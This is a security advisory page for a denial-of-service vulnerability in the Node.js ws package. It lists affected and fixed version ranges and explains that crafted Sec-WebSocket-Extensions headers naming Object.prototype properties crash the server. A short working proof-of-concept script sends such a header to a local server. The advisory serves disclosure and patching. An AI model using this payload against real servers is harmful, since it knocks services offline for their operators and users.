Packages / ws / Security

HighVulnerabilityGHSA-5v72-xg48-5rpmPublished 4 Jun 2019

Denial of Service in ws

Affected releases · ws

  • 3.x3.0.0 – 3.3.0Fixed in 3.3.1
  • 2.x2.0.0 – 2.3.1No fix on this line yet
  • 1.x1.0.0 – 1.1.4Fixed in 1.1.5
  • 0.8.x and older0.6.0 – 0.8.1No fix, no longer updated

On 3.x, the newest line:

npm install ws@3.3.1
8.x
  1. Not affected

    8.0.0 – 8.22.0

    41 releases, latest

3.x
  1. Affected

    3.0.0 – 3.3.0

    4 releases

  2. Fixed

    3.3.1 – 3.3.3

    3 releases

2.x
  1. Affected

    2.0.0 – 2.3.1

    11 releases

1.x
  1. Affected

    1.0.0 – 1.1.4

    7 releases

  2. Fixed

    1.1.5

    1 release

0.x
  1. Not affected

    0.2.6 – 0.5.0

    47 releases

  2. Affected

    0.6.0 – 0.8.1

    11 releases

184 stable releases of ws, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.

What happens

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.